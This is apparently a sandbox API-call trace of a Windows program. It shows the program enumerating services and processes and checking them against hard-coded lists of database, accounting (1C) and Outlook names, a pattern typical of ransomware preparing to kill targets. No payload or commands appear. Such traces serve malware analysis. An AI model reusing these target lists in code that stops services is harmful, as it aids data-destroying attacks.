[0037.842] EnumServicesStatusExW (in: hSCManager=0x29fe20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x311da8, cbBufSize=0x123e, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x311da8, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0037.842] CloseServiceHandle (hSCObject=0x29fe20) returned 1 [0037.842] lstrlenW (lpString="Appinfo") returned 7 [0037.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0037.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0037.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0037.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0037.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0037.843] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0037.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0037.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0037.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0037.843] lstrlenW (lpString="AudioSrv") returned 8 [0037.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0037.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0037.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0037.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0037.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0037.843] lstrlenW (lpString="BFE") returned 3 [0037.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0037.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0037.843] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0037.843] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0037.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0037.843] lstrlenW (lpString="CryptSvc") returned 8 [0037.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0037.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0037.843] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0037.843] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0037.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0037.843] lstrlenW (lpString="CscService") returned 10 [0037.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0037.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0037.843] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0037.843] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0037.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0037.843] lstrlenW (lpString="DcomLaunch") returned 10 [0037.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0037.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0037.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0037.844] lstrlenW (lpString="Dhcp") returned 4 [0037.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0037.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0037.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0037.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0037.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0037.844] lstrlenW (lpString="Dnscache") returned 8 [0037.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0037.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0037.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0037.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0037.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0037.844] lstrlenW (lpString="DPS") returned 3 [0037.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0037.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0037.844] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0037.844] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0037.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0037.844] lstrlenW (lpString="eventlog") returned 8 [0037.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0037.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0037.844] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0037.844] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0037.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0037.844] lstrlenW (lpString="EventSystem") returned 11 [0037.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0037.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0037.844] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0037.844] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0037.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0037.845] lstrlenW (lpString="gpsvc") returned 5 [0037.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0037.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0037.845] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0037.845] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0037.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0037.845] lstrlenW (lpString="iphlpsvc") returned 8 [0037.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.845] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0037.845] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0037.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0037.845] lstrlenW (lpString="LanmanServer") returned 12 [0037.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0037.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0037.845] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0037.845] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0037.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0037.845] lstrlenW (lpString="LanmanWorkstation") returned 17 [0037.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.845] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0037.845] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0037.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0037.845] lstrlenW (lpString="lmhosts") returned 7 [0037.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0037.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0037.845] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0037.845] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0037.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0037.845] lstrlenW (lpString="MMCSS") returned 5 [0037.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0037.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0037.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0037.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0037.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0037.846] lstrlenW (lpString="MpsSvc") returned 6 [0037.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0037.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0037.846] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0037.846] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0037.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0037.846] lstrlenW (lpString="Netman") returned 6 [0037.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0037.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0037.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0037.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0037.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0037.846] lstrlenW (lpString="netprofm") returned 8 [0037.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0037.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0037.846] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0037.846] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0037.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0037.846] lstrlenW (lpString="NlaSvc") returned 6 [0037.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0037.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0037.846] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0037.846] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0037.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0037.846] lstrlenW (lpString="nsi") returned 3 [0037.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0037.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0037.846] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0037.846] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0037.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0037.847] lstrlenW (lpString="PcaSvc") returned 6 [0037.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0037.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0037.847] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0037.847] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0037.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0037.847] lstrlenW (lpString="PlugPlay") returned 8 [0037.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0037.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0037.847] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0037.847] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0037.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0037.847] lstrlenW (lpString="Power") returned 5 [0037.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0037.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0037.847] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0037.847] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0037.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0037.847] lstrlenW (lpString="ProfSvc") returned 7 [0037.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0037.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0037.847] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0037.847] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0037.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0037.847] lstrlenW (lpString="RpcEptMapper") returned 12 [0037.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.847] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0037.847] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0037.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0037.847] lstrlenW (lpString="RpcSs") returned 5 [0037.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0037.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0037.847] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0037.848] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0037.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0037.848] lstrlenW (lpString="SamSs") returned 5 [0037.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0037.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0037.848] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0037.848] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0037.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0037.848] lstrlenW (lpString="Schedule") returned 8 [0037.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0037.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0037.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0037.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0037.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0037.848] lstrlenW (lpString="SENS") returned 4 [0037.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0037.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0037.848] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0037.848] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0037.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0037.848] lstrlenW (lpString="ShellHWDetection") returned 16 [0037.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.848] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0037.848] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0037.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0037.848] lstrlenW (lpString="Spooler") returned 7 [0037.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0037.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0037.848] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0037.848] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0037.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0037.848] lstrlenW (lpString="SysMain") returned 7 [0037.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0037.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0037.849] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0037.849] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0037.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0037.849] lstrlenW (lpString="Themes") returned 6 [0037.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0037.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0037.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0037.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0037.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0037.849] lstrlenW (lpString="TrkWks") returned 6 [0037.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0037.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0037.849] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0037.849] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0037.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0037.849] lstrlenW (lpString="UxSms") returned 5 [0037.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0037.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0037.849] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0037.849] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0037.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0037.849] lstrlenW (lpString="VSS") returned 3 [0037.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0037.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0037.849] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0037.849] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0037.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0037.849] lstrlenW (lpString="WdiServiceHost") returned 14 [0037.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.849] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0037.849] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0037.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0037.850] lstrlenW (lpString="WdiSystemHost") returned 13 [0037.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0037.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0037.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0037.850] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0037.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0037.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0037.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0037.850] lstrlenW (lpString="Winmgmt") returned 7 [0037.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0037.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0037.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0037.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0037.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0037.850] lstrlenW (lpString="WPDBusEnum") returned 10 [0037.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.850] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0037.850] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0037.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0037.850] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x311da8 | out: hHeap=0x220000) returned 1 [0037.850] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0037.853] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.853] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.854] lstrlenW (lpString="System") returned 6 [0037.854] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0037.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0037.854] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0037.854] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0037.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0037.854] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0037.854] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0037.854] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.855] lstrlenW (lpString="smss.exe") returned 8 [0037.855] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0037.855] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0037.855] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0037.855] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0037.855] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0037.855] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0037.855] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0037.855] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.856] lstrlenW (lpString="csrss.exe") returned 9 [0037.856] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.856] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0037.856] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0037.856] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0037.856] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0037.856] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0037.856] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0037.856] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.857] lstrlenW (lpString="wininit.exe") returned 11 [0037.857] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0037.857] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0037.857] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0037.857] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0037.857] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0037.857] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0037.857] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0037.857] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.858] lstrlenW (lpString="csrss.exe") returned 9 [0037.858] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.858] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.859] lstrlenW (lpString="winlogon.exe") returned 12 [0037.859] Process32NextW (in: hSnapshot=0x1c0, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.859] lstrlenW (lpString="services.exe") returned 12 